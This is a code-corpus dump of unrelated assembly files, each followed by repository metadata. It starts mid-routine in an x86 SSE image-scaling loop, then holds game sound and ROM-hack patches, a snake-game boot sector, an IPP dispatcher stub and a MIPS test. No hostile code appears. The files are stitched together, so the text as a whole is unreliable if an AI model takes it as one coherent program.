PSLLDQ xmm2, 2 ; mueve dos bytes a derecha para que queden como parte baja los dos pixeles segundos o sea (00, BGR, BGR, |BGR, BGR|, BG) PUNPCKHBW xmm2, xmm15 ; pasa al xmm1 en tamaño word los segundos (|BGR, BGR|, BG) ; cálculo HIGH MOVDQU xmm3, xmm1 ; pasa al xmm3 el xmm1 para operar PSRLDQ xmm3, 2 ; mueve 2 bytes a izquierda (1 word, o sea una componente) queda (GR, BGR, BG0) PADDW xmm1, xmm3 ; deja en el xmm1 la suma o sea (|B1+G1, G1+R1|, R1+B2, |B2+G2, G2+R2|, R2+B3, B3+G3, G3+0) MOVDQU xmm3, xmm1 ; copia a xmm1 lo calculado antes PSRLDQ xmm3, 2 ; mueve 2 bytes a izquierda (1 word, o sea una componente) queda (G1+R1, R1+B2, B2+G2, G2+R2, R2+B3, B3+G3, G3+0, 0) PADDW xmm1, xmm3 ; deja en el xmm1 la suma o sea (|B1+G1+G1+R1|, G1+R1+R1+B2, R1+B2+B2+G2, |B2+G2+G2+R2|, G2+R2+R2+B3, R2+B3+B3+G3, B3+G3+G3+0, G3+0+0) PSRAW xmm1, 2 ; mueve 2 bits en cada uno a derecha (o sea divide por 4 cada uno de los words) ; cálculo <LOW MOVDQU xmm3, xmm2 ; pasa al xmm3 el xmm1 para operar PSRLDQ xmm3, 2 ; mueve 2 bytes a izquierda (1 word, o sea una componente) queda (GR, BGR, BG0) PADDW xmm2, xmm3 ; deja en el xmm1 la suma o sea (|B1+G1, G1+R1|, R1+B2, |B2+G2, G2+R2|, R2+B3, B3+G3, G3+0) MOVDQU xmm3, xmm2 ; copia a xmm1 lo calculado antes PSRLDQ xmm3, 2 ; mueve 2 bytes a izquierda (1 word, o sea una componente) queda (G1+R1, R1+B2, B2+G2, G2+R2, R2+B3, B3+G3, G3+0, 0) PADDW xmm2, xmm3 ; deja en el xmm1 la suma o sea (|B1+G1+G1+R1|, G1+R1+R1+B2, R1+B2+B2+G2, |B2+G2+G2+R2|, G2+R2+R2+B3, R2+B3+B3+G3, B3+G3+G3+0, G3+0+0) PSRAW xmm2, 2 ; mueve 2 bits en cada uno a derecha (o sea divide por 4 cada uno de los words) ;máscaras MOVDQU xmm15, [maskPrimeroCuarto] ; pone en xmm15 la máscara para filtrar primero y cuarto PAND xmm1, xmm15 ; aplica la máscara PAND xmm2, xmm15 ; aplica la máscara MOVDQU xmm14, xmm1 ; pone en xmm14 a xmm1 PSRLDQ xmm14, 4 ; mueve a izquierda 4 bytes (o sea 2 words) PADDW xmm1, xmm14 ; deja en xmm1 (primero, segundo, basura, basura, basura, basura, basura, basura) MOVDQU xmm15, [maskPrimerosDos] ; pone en xmm15 la máscara para dejar sólo los primeros dos PAND xmm1, xmm15 ; deja los primeros dos MOVDQU xmm14, xmm2 ; pone en xmm14 a xmm2 PSRLDQ xmm14, 4 ; mueve a izquierda 4 bytes (o sea 2 words) PADDW xmm2, xmm14 ; deja en xmm1 (primero, segundo, basura, basura, basura, basura, basura, basura) MOVDQU xmm15, [maskPrimerosDos] ; pone en xmm15 la máscara para dejar sólo los primeros dos PAND xmm2, xmm15 ; deja los primeros dos PSLLDQ xmm2, 4 ; deja los dos segundo en las posiciones 3 y 4 PADDW xmm1, xmm2 ; deja en xmm1 los datos (5, 6, 7, 8, 0, 0, 0, 0) PSLLDQ xmm1, 8 ; pasa a derecha 8 bytes (words) para tener (0, 0, 0, 0, 5, 6, 7, 8) PADDW xmm10, xmm1 ; deja en xmm10 (1, 2, 3, 4, 5, 6, 7, 8) ; pasa a los siguientes 4 píxeles LEA r14, [r14+12] ; aumenta 12 bytes para pasar a los siguientes ;Tercera tanda MOVDQU xmm0, [r14] ; pone en xmm0 la primera tirada de 16 bytes (|BGR, BGR, BGR, BGR|, BGR, B) PXOR xmm15, xmm15 ; limpia xmm15 MOVDQU xmm1, xmm0 ; copia al xmm1 lo de memoria MOVDQU xmm2, xmm0 ; copia al xmm2 lo de memoria PUNPCKLBW xmm1, xmm15 ; pasa al xmm1 en tamaño word los primeros (|BGR, BGR|, BG) PSLLDQ xmm2, 2 ; mueve dos bytes a derecha para que queden como parte baja los dos pixeles segundos o sea (00, BGR, BGR, |BGR, BGR|, BG) PUNPCKHBW xmm2, xmm15 ; pasa al xmm1 en tamaño word los segundos (|BGR, BGR|, BG) ; cálculo HIGH MOVDQU xmm3, xmm1 ; pasa al xmm3 el xmm1 para operar PSRLDQ xmm3, 2 ; mueve 2 bytes a izquierda (1 word, o sea una componente) queda (GR, BGR, BG0) PADDW xmm1, xmm3 ; deja en el xmm1 la suma o sea (|B1+G1, G1+R1|, R1+B2, |B2+G2, G2+R2|, R2+B3, B3+G3, G3+0) MOVDQU xmm3, xmm1 ; copia a xmm1 lo calculado antes PSRLDQ xmm3, 2 ; mueve 2 bytes a izquierda (1 word, o sea una componente) queda (G1+R1, R1+B2, B2+G2, G2+R2, R2+B3, B3+G3, G3+0, 0) PADDW xmm1, xmm3 ; deja en el xmm1 la suma o sea (|B1+G1+G1+R1|, G1+R1+R1+B2, R1+B2+B2+G2, |B2+G2+G2+R2|, G2+R2+R2+B3, R2+B3+B3+G3, B3+G3+G3+0, G3+0+0) PSRAW xmm1, 2 ; mueve 2 bits en cada uno a derecha (o sea divide por 4 cada uno de los words) ; cálculo LOW MOVDQU xmm3, xmm2 ; pasa al xmm3 el xmm1 para operar PSRLDQ xmm3, 2 ; mueve 2 bytes a izquierda (1 word, o sea una componente) queda (GR, BGR, BG0) PADDW xmm2, xmm3 ; deja en el xmm1 la suma o sea (|B1+G1, G1+R1|, R1+B2, |B2+G2, G2+R2|, R2+B3, B3+G3, G3+0) MOVDQU xmm3, xmm2 ; copia a xmm1 lo calculado antes PSRLDQ xmm3, 2 ; mueve 2 bytes a izquierda (1 word, o sea una componente) queda (G1+R1, R1+B2, B2+G2, G2+R2, R2+B3, B3+G3, G3+0, 0) PADDW xmm2, xmm3 ; deja en el xmm1 la suma o sea (|B1+G1+G1+R1|, G1+R1+R1+B2, R1+B2+B2+G2, |B2+G2+G2+R2|, G2+R2+R2+B3, R2+B3+B3+G3, B3+G3+G3+0, G3+0+0) PSRAW xmm2, 2 ; mueve 2 bits en cada uno a derecha (o sea divide por 4 cada uno de los words) ;máscaras MOVDQU xmm15, [maskPrimeroCuarto] ; pone en xmm15 la máscara para filtrar primero y cuarto PAND xmm1, xmm15 ; aplica la máscara PAND xmm2, xmm15 ; aplica la máscara MOVDQU xmm14, xmm1 ; pone en xmm14 a xmm1 PSRLDQ xmm14, 4 ; mueve a izquierda 4 bytes (o sea 2 words) PADDW xmm1, xmm14 ; deja en xmm1 (primero, segundo, basura, basura, basura, basura, basura, basura) MOVDQU xmm15, [maskPrimerosDos] ; pone en xmm15 la máscara para dejar sólo los primeros dos PAND xmm1, xmm15 ; deja los primeros dos MOVDQU xmm14, xmm2 ; pone en xmm14 a xmm2 PSRLDQ xmm14, 4 ; mueve a izquierda 4 bytes (o sea 2 words) PADDW xmm2, xmm14 ; deja en xmm1 (primero, segundo, basura, basura, basura, basura, basura, basura) MOVDQU xmm15, [maskPrimerosDos] ; pone en xmm15 la máscara para dejar sólo los primeros dos PAND xmm2, xmm15 ; deja los primeros dos PSLLDQ xmm2, 4 ; deja los dos segundo en las posiciones 3 y 4 PADDW xmm1, xmm2 ; deja en xmm1 los datos (9, 10, 11, 12, 0, 0, 0, 0) MOVDQU xmm11, xmm1 ; deja en xmm10 este registro para usarlo después ; pasa a los siguientes 4 píxeles LEA r14, [r14+12] ; aumenta 12 bytes para pasar a los siguientes ;Cuarta tanda MOVDQU xmm0, [r14] ; pone en xmm0 la primera tirada de 16 bytes (|BGR, BGR, BGR, BGR|, BGR, B) PXOR xmm15, xmm15 ; limpia xmm15 MOVDQU xmm1, xmm0 ; copia al xmm1 lo de memoria MOVDQU xmm2, xmm0 ; copia al xmm2 lo de memoria PUNPCKLBW xmm1, xmm15 ; pasa al xmm1 en tamaño word los primeros (|BGR, BGR|, BG) PSLLDQ xmm2, 2 ; mueve dos bytes a derecha para que queden como parte baja los dos pixeles segundos o sea (00, BGR, BGR, |BGR, BGR|, BG) PUNPCKHBW xmm2, xmm15 ; pasa al xmm1 en tamaño word los segundos (|BGR, BGR|, BG) ; cálculo HIGH MOVDQU xmm3, xmm1 ; pasa al xmm3 el xmm1 para operar PSRLDQ xmm3, 2 ; mueve 2 bytes a izquierda (1 word, o sea una componente) queda (GR, BGR, BG0) PADDW xmm1, xmm3 ; deja en el xmm1 la suma o sea (|B1+G1, G1+R1|, R1+B2, |B2+G2, G2+R2|, R2+B3, B3+G3, G3+0) MOVDQU xmm3, xmm1 ; copia a xmm1 lo calculado antes PSRLDQ xmm3, 2 ; mueve 2 bytes a izquierda (1 word, o sea una componente) queda (G1+R1, R1+B2, B2+G2, G2+R2, R2+B3, B3+G3, G3+0, 0) PADDW xmm1, xmm3 ; deja en el xmm1 la suma o sea (|B1+G1+G1+R1|, G1+R1+R1+B2, R1+B2+B2+G2, |B2+G2+G2+R2|, G2+R2+R2+B3, R2+B3+B3+G3, B3+G3+G3+0, G3+0+0) PSRAW xmm1, 2 ; mueve 2 bits en cada uno a derecha (o sea divide por 4 cada uno de los words) ; cálculo LOW MOVDQU xmm3, xmm2 ; pasa al xmm3 el xmm1 para operar PSRLDQ xmm3, 2 ; mueve 2 bytes a izquierda (1 word, o sea una componente) queda (GR, BGR, BG0) PADDW xmm2, xmm3 ; deja en el xmm1 la suma o sea (|B1+G1, G1+R1|, R1+B2, |B2+G2, G2+R2|, R2+B3, B3+G3, G3+0) MOVDQU xmm3, xmm2 ; copia a xmm1 lo calculado antes PSRLDQ xmm3, 2 ; mueve 2 bytes a izquierda (1 word, o sea una componente) queda (G1+R1, R1+B2, B2+G2, G2+R2, R2+B3, B3+G3, G3+0, 0) PADDW xmm2, xmm3 ; deja en el xmm1 la suma o sea (|B1+G1+G1+R1|, G1+R1+R1+B2, R1+B2+B2+G2, |B2+G2+G2+R2|, G2+R2+R2+B3, R2+B3+B3+G3, B3+G3+G3+0, G3+0+0) PSRAW xmm2, 2 ; mueve 2 bits en cada uno a derecha (o sea divide por 4 cada uno de los words) ;máscaras MOVDQU xmm15, [maskPrimeroCuarto] ; pone en xmm15 la máscara para filtrar primero y cuarto PAND xmm1, xmm15 ; aplica la máscara PAND xmm2, xmm15 ; aplica la máscara MOVDQU xmm14, xmm1 ; pone en xmm14 a xmm1 PSRLDQ xmm14, 4 ; mueve a izquierda 4 bytes (o sea 2 words) PADDW xmm1, xmm14 ; deja en xmm1 (primero, segundo, basura, basura, basura, basura, basura, basura) MOVDQU xmm15, [maskPrimerosDos] ; pone en xmm15 la máscara para dejar sólo los primeros dos PAND xmm1, xmm15 ; deja los primeros dos MOVDQU xmm14, xmm2 ; pone en xmm14 a xmm2 PSRLDQ xmm14, 4 ; mueve a izquierda 4 bytes (o sea 2 words) PADDW xmm2, xmm14 ; deja en xmm1 (primero, segundo, basura, basura, basura, basura, basura, basura) MOVDQU xmm15, [maskPrimerosDos] ; pone en xmm15 la máscara para dejar sólo los primeros dos PAND xmm2, xmm15 ; deja los primeros dos PSLLDQ xmm2, 4 ; deja los dos segundo en las posiciones 3 y 4 PADDW xmm1, xmm2 ; deja en xmm1 los datos (13, 14, 15, 16, 0, 0, 0, 0) PSLLDQ xmm1, 8 ; pasa a derecha 8 bytes (words) para tener (0, 0, 0, 0, 13, 14, 15, 16) PADDW xmm11, xmm1 ; deja en xmm10 (9, 10, 11, 12, 13, 14, 15, 16) ; pasa a los siguientes 4 píxeles LEA r14, [r14+12] ; aumenta 12 bytes para pasar a los siguientes PACKUSWB xmm10, xmm11 ; pone en xmm11 los words de xmm10 y xmm11 en ese orden pero ahora como bytes MOVDQU xmm0, xmm10 ; pasa a xmm0 los datos a imprimir MOVDQU [r13], xmm0 ; imprime en dst los datos LEA r13, [r13+16] ; pasa a los siguientes 16 del dst SUB r11, 16; resto 16 columna JMP cicloPorColumnaMU redimensionarMU: MOV rax, 16; Que es la cantidad de pixels que escribo en momoria SUB rax, r11; Resto la cant de columnas que me faltan procesar SUB r13, rax; Retrocedo en el dst la diferencia entre la cantidad de columnas que procese y 16 SUB r14 ,rax;Retrocedo en el src diferencia*3 (porque 1 px = 3b) SUB r14 ,rax; SUB r14 ,rax; MOV r11,16; Para que termine justo JMP cicloPorColumnaMU cambiarDeFilaMU: LEA rdi, [rdi + r8]; sumo el row_size LEA rsi, [rsi + r9]; sumo el row_size DEC rdx; resto 1 fila JMP cicloPorFilaMU salirMU: POP r14 POP r13 POP rbp RET
47.541538
153
0.68261
6fa01322dc1ab67def80946e64f5047f593b358d
750
asm
Assembly
sound/sfxasm/A5.asm
NatsumiFox/Sonic-3-93-Nov-03
032e4fc25f243636d458639c4a4311caca898f96
[ "MIT" ]
7
2019-12-05T00:35:57.000Z
2022-02-27T20:00:33.000Z
sound/sfxasm/A5.asm
NatsumiFox/Sonic-3-93-Nov-03
032e4fc25f243636d458639c4a4311caca898f96
[ "MIT" ]
null
null
null
sound/sfxasm/A5.asm
NatsumiFox/Sonic-3-93-Nov-03
032e4fc25f243636d458639c4a4311caca898f96
[ "MIT" ]
null
null
null
A5_Header: sHeaderInit ; Z80 offset is $D3E2 sHeaderPatch A5_Patches sHeaderTick $01 sHeaderCh $01 sHeaderSFX $80, $05, A5_FM5, $EC, $07 A5_FM5: sPatFM $00 ssModZ80 $02, $01, $6B, $D5 dc.b nB3, $06 saVolFM $0A dc.b nF4, $0B sStop A5_Patches: ; Patch $00 ; $3B ; $0F, $0F, $10, $01, $14, $1F, $0E, $14 ; $0C, $04, $01, $04, $02, $02, $02, $03 ; $DF, $2F, $2F, $2F, $22, $24, $13, $80 spAlgorithm $03 spFeedback $07 spDetune $00, $01, $00, $00 spMultiple $0F, $00, $0F, $01 spRateScale $00, $00, $00, $00 spAttackRt $14, $0E, $1F, $14 spAmpMod $00, $00, $00, $00 spSustainRt $0C, $01, $04, $04 spSustainLv $0D, $02, $02, $02 spDecayRt $02, $02, $02, $03 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $22, $13, $24, $00
21.428571
41
0.58
b94bfce644bc767ada477e92d8e224d281d25c2f
415
asm
Assembly
asm/test/asm/echo.asm
lujb/starterVM
7b13aaeb7b41d75e1b2b2ecef8f6d56b11993bef
[ "MIT" ]
6
2016-11-03T08:43:57.000Z
2020-05-12T06:12:55.000Z
asm/test/asm/echo.asm
lujb/starterVM
7b13aaeb7b41d75e1b2b2ecef8f6d56b11993bef
[ "MIT" ]
2
2015-03-26T22:11:41.000Z
2015-03-30T02:46:06.000Z
asm/test/asm/echo.asm
lujb/starterVM
7b13aaeb7b41d75e1b2b2ecef8f6d56b11993bef
[ "MIT" ]
2
2016-11-20T03:50:59.000Z
2018-09-22T12:45:26.000Z
; print while you type. ; make sure your screen is focused when running this program START: LDX :#0 LDY #$A000 STY, X LOOP: ; delay 30 milliseconds LDX #30 INT #2 ; get one value from input buff INT #4 ; if failed to get CMPB #0 ; then try again JEQ #LOOP ; else print it onto scrren LDX [:#0] STB, X LDY [:#0] INCY INCY LDX :#0 STY, X ; loop JMP #LOOP END START
12.575758
60
0.604819
cf0150ba32b376c0e58afa4df2d60933d50c0e2a
1,034
asm
Assembly
ffight/lcs/1p/6.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
ffight/lcs/1p/6.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
ffight/lcs/1p/6.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 003098 rts [1p+ 6, 1p+ 8, boss+6, boss+8, weapon+ 6, weapon+ 8] 003140 tst.w ($50,A6) [1p+ 6, 1p+ 8, boss+6, boss+8, container+ 6, container+ 8, enemy+ 6, enemy+ 8] 003162 move.w ($2,A1,D1.w), D1 [1p+ 6, 1p+ 8, boss+6, boss+8, enemy+ 6, enemy+ 8] 007C38 move.w ($6,A6), D1 [1p+ 6, container+ 6, enemy+ 6, weapon+ 6] 007C62 add.w D2, ($e,A6) [1p+ 6, enemy+ 6] 007C72 add.w D2, ($e,A6) [1p+ 6] 008E0C move.w ($a,A6), D0 [1p+ 6] 009D3E move.l ($416,A5), ($a,A6) [1p+ 6, 1p+ 8] 009D74 move.w (A0)+, D0 [1p+ 6] 00A2C6 dbra D0, $a2c0 00C0A6 movea.l ($bc,A6), A1 [1p+ 6, 1p+ 8] 00DD26 move.b #$1, (-$6d22,A5) [1p+ 6] 00DEA2 move.b ($1,A0,D0.w), D1 [1p+ 6] 00E654 move.l ($416,A5), ($a,A6) [1p+ 6, 1p+ 8] 00E760 move.w (A0)+, D0 [1p+ 6] 00EE56 move.b ($1,A0,D0.w), D1 [1p+ 6] 00F5A2 add.l D2, ($6,A6) [1p+2E] 00F5A6 move.w ($9e,A6), D1 [1p+ 6, 1p+ 8] 027F92 move.w ($416,A5), D0 [1p+ 6] copyright zengfr site:http://github.com/zengfr/romhack
43.083333
103
0.575435
c79d5898ac29a1cfa86868e361a0dd6620333968
1,711
asm
Assembly
src/sm/ending.asm
PJBoy/alttp_sm_combo_randomizer_rom
4f14c87227b512a864d1f298e4a6efe7cbc373b3
[ "MIT" ]
31
2018-05-03T06:43:23.000Z
2021-07-16T13:17:01.000Z
src/sm/ending.asm
PJBoy/alttp_sm_combo_randomizer_rom
4f14c87227b512a864d1f298e4a6efe7cbc373b3
[ "MIT" ]
13
2018-05-08T20:15:54.000Z
2022-01-20T21:28:53.000Z
src/sm/ending.asm
PJBoy/alttp_sm_combo_randomizer_rom
4f14c87227b512a864d1f298e4a6efe7cbc373b3
[ "MIT" ]
26
2018-05-04T12:25:41.000Z
2022-03-23T20:27:57.000Z
org $cfc922 jml sm_check_ending_door org $e9B1D0 jsl sm_check_ending_mb org $e9B305 jml sm_check_ending_mb_event org $c09E1C jml sm_check_ending_mb_timer org $e9B33C jml sm_check_ending_mb_anim org $cbde80 jml sm_setup_credits org $f7fd00 base $b7fd00 sm_check_ending_door: ; Check if ALTTP has been beaten, and only then activate the escape. pha lda #$0001 sta.l !SRAM_SM_COMPLETED ; Set supermetroid as completed lda.l !SRAM_ALTTP_COMPLETED bne .alttp_done pla jsl $808212 ; Clear event flag if set jml $8fc932 ; Jump to "RTS" .alttp_done pla jsl $8081fa ; Call the code we replaced jml $8fc926 ; Jump to "LDA #$0012" sm_check_ending_mb: lda #$0001 sta.l !SRAM_SM_COMPLETED ; Set supermetroid as completed lda.l !SRAM_ALTTP_COMPLETED bne .alttp_done lda #$b2f9 sta $0fa8 lda #$0020 sta $0fb2 rtl .alttp_done lda #$0000 sta $7e7808 rtl sm_check_ending_mb_event: jsl $90F084 lda.l !SRAM_ALTTP_COMPLETED bne .alttp_done jml $A9B31a .alttp_done jml $A9B309 sm_check_ending_mb_timer: lda.l !SRAM_ALTTP_COMPLETED bne .alttp_done clc jml $809E2E .alttp_done jsl $809E93 ; Call the code we replaced jml $809E20 sm_check_ending_mb_anim: lda.l !SRAM_ALTTP_COMPLETED bne .alttp_done lda #$b3b5 sta $0fa8 jml $A9B345 .alttp_done lda $1840 bne + jml $a9b341 + jml $A9B345 sm_setup_credits: %ai16() sei lda #$0000 sta $4200 ; Reset SPC and put it into upload mode jsl zelda_spc_reset ; Call credits jml credits_init
17.822917
97
0.653419
cfb25012322a001f671460d546126ea7680ccb70
6,835
asm
Assembly
backup.asm
HELLKING66666/snake
0e6d061f465b05d59c600064dd713b8d61112eb7
[ "MIT" ]
null
null
null
backup.asm
HELLKING66666/snake
0e6d061f465b05d59c600064dd713b8d61112eb7
[ "MIT" ]
null
null
null
backup.asm
HELLKING66666/snake
0e6d061f465b05d59c600064dd713b8d61112eb7
[ "MIT" ]
null
null
null
mov ax, 0x07C0 mov ds, ax ; set DS to the point where code is loaded mov ah, 0x01 mov cx, 0x2000 int 0x10 ; clear cursor blinking mov ax, 0x0305 mov bx, 0x031F int 0x16 ; increase delay before keybort repeat game_loop: call clear_screen ; clear the screen push word [snake_pos] ; save snake head position for later mov ah, 0x01 ; check if key available int 0x16 jz done_clear ; if not, move on mov ah, 0x00 ; if the was a key, remove it from buffer int 0x16 jmp update_snakepos done_clear: mov al, [last_move] ; no keys, so we use the last one update_snakepos: cmp al, 'a' je left cmp al, 's' je down cmp al, 'd' je right cmp al, 'w' jne done_clear up: dec byte [snake_y_pos] jmp move_done ; jump away left: dec byte [snake_x_pos] jmp move_done ; jump away right: inc byte [snake_x_pos] jmp move_done ; jump away down: inc word [snake_y_pos] move_done: mov [last_move], al ; save the direction mov si, snake_body_pos ; prepare body shift pop ax ; restore read position into ax for body shift update_body: mov bx, [si] ; get element of body into bx test bx, bx ; check if zero (not a part of the body) jz done_update ; if zero, done. Otherwise mov [si], ax ; move the data from ax, into current position add si, 2 ; increment pointer by two bytes mov ax, bx ; save bx into ax for next loop jmp update_body ; loop done_update: cmp byte [grow_snake_flag], 1 ; snake should grow? jne add_zero_snake ; if not: jump to add_zero_snake mov word [si], ax ; save the last element at the next position mov byte [grow_snake_flag], 0 ; disable grow_snake_flag add si, 2 ; increment si by 2 add_zero_snake: mov word [si], 0x0000 print_stuff: xor dx, dx ; set pos to 0x0000 call move_cursor ; move cursor mov si, score_msg ; prepare to print score string call print_string ; print it mov ax, [score] ; move the score into ax call print_int ; print it mov dx, [food_pos] ; set dx to the food position call move_cursor ; move cursor there mov al, '*' ; use '*' as food symbol call print_char ; print food mov dx, [snake_pos] ; set dx to the snake head position call move_cursor ; move there mov al, '@' ; use '@' as snake head symbol call print_char ; print it mov si, snake_body_pos ; prepare to print snake body snake_body_print_loop: lodsw ; load position from the body, and increment si test ax, ax ; check if position is zero jz check_collisions ; if it was zero, move out of here mov dx, ax ; if not, move the position into dx call move_cursor ; move the cursor there mov al, 'o' ; use 'o' as the snake body symbol call print_char ; print it jmp snake_body_print_loop ; loop check_collisions: mov bx, [snake_pos] ; move the snake head position into bx cmp bh, 25 ; check if we are too far down jge game_over_hit_wall ; if yes, jump cmp bh, 0 ; check if we are too far up jl game_over_hit_wall ; if yes, jump cmp bl, 80 ; check if we are too far to the right jge game_over_hit_wall ; if yes, jump cmp bl, 0 ; check if we are too far to the left jl game_over_hit_wall ; if yes, jump mov si, snake_body_pos ; prepare to check for self-collision check_collisions_self: lodsw ; load position of snake body, and increment si cmp ax, bx ; check if head position = body position je game_over_hit_self ; if it is, jump or ax, ax ; check if position is 0x0000 (we are done searching) jne check_collisions_self ; if not, loop no_collision: mov ax, [snake_pos] ; load snake head position into ax cmp ax, [food_pos] ; check if we are on the food jne game_loop_continued ; jump if snake didn't hit food inc word [score] ; if we were on food, increment score mov bx, 24 ; set max value for random call (y-val - 1) call rand ; generate random value push dx ; save it on the stack mov bx, 78 ; set max value for random call call rand ; generate random value pop cx ; restore old random into cx mov dh, cl ; move old value into high bits of new mov [food_pos], dx ; save the position of the new random food mov byte [grow_snake_flag], 1 ; make sure snake grows game_loop_continued: mov cx, 0x0002 ; Sleep for 0,15 seconds (cx:dx) mov dx, 0x49F0 ; 0x000249F0 = 150000 mov ah, 0x86 int 0x15 ; Sleep jmp game_loop ; loop game_over_hit_self: push self_msg jmp game_over game_over_hit_wall: push wall_msg game_over: call clear_screen mov si, hit_msg call print_string pop si call print_string mov si, retry_msg call print_string wait_for_r: mov ah, 0x00 int 0x16 cmp al, 'r' jne wait_for_r mov word [snake_pos], 0x0F0F and word [snake_body_pos], 0 and word [score], 0 mov byte [last_move], 'd' jmp game_loop ; SCREEN FUNCTIONS ------------------------------------------------------------ clear_screen: mov ax, 0x0700 ; clear entire window (ah 0x07, al 0x00) mov bh, 0x0C ; light red on black xor cx, cx ; top left = (0,0) mov dx, 0x1950 ; bottom right = (25, 80) int 0x10 xor dx, dx ; set dx to 0x0000 call move_cursor ; move cursor ret move_cursor: mov ah, 0x02 ; move to (dl, dh) xor bh, bh ; page 0 int 0x10 ret print_string_loop: call print_char print_string: ; print the string pointed to in si lodsb ; load next byte from si test al, al ; check if high bit is set (end of string) jns print_string_loop ; loop if high bit was not set print_char: ; print the char at al and al, 0x7F ; unset the high bit mov ah, 0x0E int 0x10 ret print_int: ; print the int in ax push bp ; save bp on the stack mov bp, sp ; set bp = stack pointer push_digits: xor dx, dx ; clear dx for division mov bx, 10 ; set bx to 10 div bx ; divide by 10 push dx ; store remainder on stack test ax, ax ; check if quotient is 0 jnz push_digits ; if not, loop pop_and_print_digits: pop ax ; get first digit from stack add al, '0' ; turn it into ascii digits call print_char ; print it cmp sp, bp ; is the stack pointer is at where we began? jne pop_and_print_digits ; if not, loop pop bp ; if yes, restore bp ret ; UTILITY FUNCTIONS ----------------------------------------------------------- rand: ; random number between 1 and bx. result in dx mov ah, 0x00 int 0x1A ; get clock ticks since midnight mov ax, dx ; move lower bits into ax for division xor dx, dx ; clear dx div bx ; divide ax by bx to get remainder in dx inc dx ret ; MESSAGES (Encoded as 7-bit strings. Last byte is an ascii value with its ; high bit set ---------------------------------------------------------------- retry_msg db '! press r to retr', 0xF9 ; y hit_msg db 'You hit', 0xA0 ; space self_msg db 'yoursel', 0xE6 ; f wall_msg db 'the wal', 0xEC ; l score_msg db 'Score:', 0xA0 ; space ; VARIABLES ------------------------------------------------------------------- grow_snake_flag db 0 food_pos dw 0x0D0D score dw 1 last_move db 'd' snake_pos: snake_x_pos db 0x0F snake_y_pos db 0x0F snake_body_pos dw 0x0000 ; PADDING AND BOOT SIGNATURE -------------------------------------------------- times 510-($-$$) db 0 db 0x55 db 0xAA
29.209402
79
0.702121
6d19ef8124851414c52558f678adbfefca910027
1,301
asm
Assembly
_build/dispatcher/jmp_ippsECCPSetPointAtInfinity_453c9f69.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
1
2021-10-04T10:21:54.000Z
2021-10-04T10:21:54.000Z
_build/dispatcher/jmp_ippsECCPSetPointAtInfinity_453c9f69.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
_build/dispatcher/jmp_ippsECCPSetPointAtInfinity_453c9f69.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
extern m7_ippsECCPSetPointAtInfinity:function extern n8_ippsECCPSetPointAtInfinity:function extern y8_ippsECCPSetPointAtInfinity:function extern e9_ippsECCPSetPointAtInfinity:function extern l9_ippsECCPSetPointAtInfinity:function extern n0_ippsECCPSetPointAtInfinity:function extern k0_ippsECCPSetPointAtInfinity:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsECCPSetPointAtInfinity .Larraddr_ippsECCPSetPointAtInfinity: dq m7_ippsECCPSetPointAtInfinity dq n8_ippsECCPSetPointAtInfinity dq y8_ippsECCPSetPointAtInfinity dq e9_ippsECCPSetPointAtInfinity dq l9_ippsECCPSetPointAtInfinity dq n0_ippsECCPSetPointAtInfinity dq k0_ippsECCPSetPointAtInfinity segment .text global ippsECCPSetPointAtInfinity:function (ippsECCPSetPointAtInfinity.LEndippsECCPSetPointAtInfinity - ippsECCPSetPointAtInfinity) .Lin_ippsECCPSetPointAtInfinity: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsECCPSetPointAtInfinity: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsECCPSetPointAtInfinity] mov r11, qword [r11+rax*8] jmp r11 .LEndippsECCPSetPointAtInfinity:
33.358974
131
0.830899
f767406b38658a499116499977726433a0108c9b
225
asm
Assembly
CPU/cpu_test/test_storage/test6_sw_R.asm
SilenceX12138/MIPS-Microsystems
d389b706b0930151a710b544db436c2883af958b
[ "MIT" ]
55
2021-09-06T12:12:47.000Z
2022-01-15T04:30:53.000Z
CPU/cpu_test/test_storage/test6_sw_R.asm
SilenceX12138/MIPS-Microsystems
d389b706b0930151a710b544db436c2883af958b
[ "MIT" ]
null
null
null
CPU/cpu_test/test_storage/test6_sw_R.asm
SilenceX12138/MIPS-Microsystems
d389b706b0930151a710b544db436c2883af958b
[ "MIT" ]
null
null
null
ori $2,$0,1 ori $3,$0,3 addu $1,$2,$3 sw $2,-4($1) ori $4,$0,9394 ori $5,$0,7337 addu $6,$4,$5 sw $6,4($0) ori $8,$0,5 ori $9,$0,3 addu $7,$8,$9 nop sw $7,0($7) ori $11,$0,7 ori $12,$0,5 addu $10,$11,$12 nop nop sw $10,0($10)
11.842105
16
0.524444
e94271cdef367185a7052b649975a5480bb595ce
1,868
asm
Assembly
Page Table/irq_low.asm
SomeHash/Operating-Systems
3e275fc81a68b4badf6cc05c77c45e3ccab9e88b
[ "MIT" ]
null
null
null
Page Table/irq_low.asm
SomeHash/Operating-Systems
3e275fc81a68b4badf6cc05c77c45e3ccab9e88b
[ "MIT" ]
null
null
null
Page Table/irq_low.asm
SomeHash/Operating-Systems
3e275fc81a68b4badf6cc05c77c45e3ccab9e88b
[ "MIT" ]
null
null
null
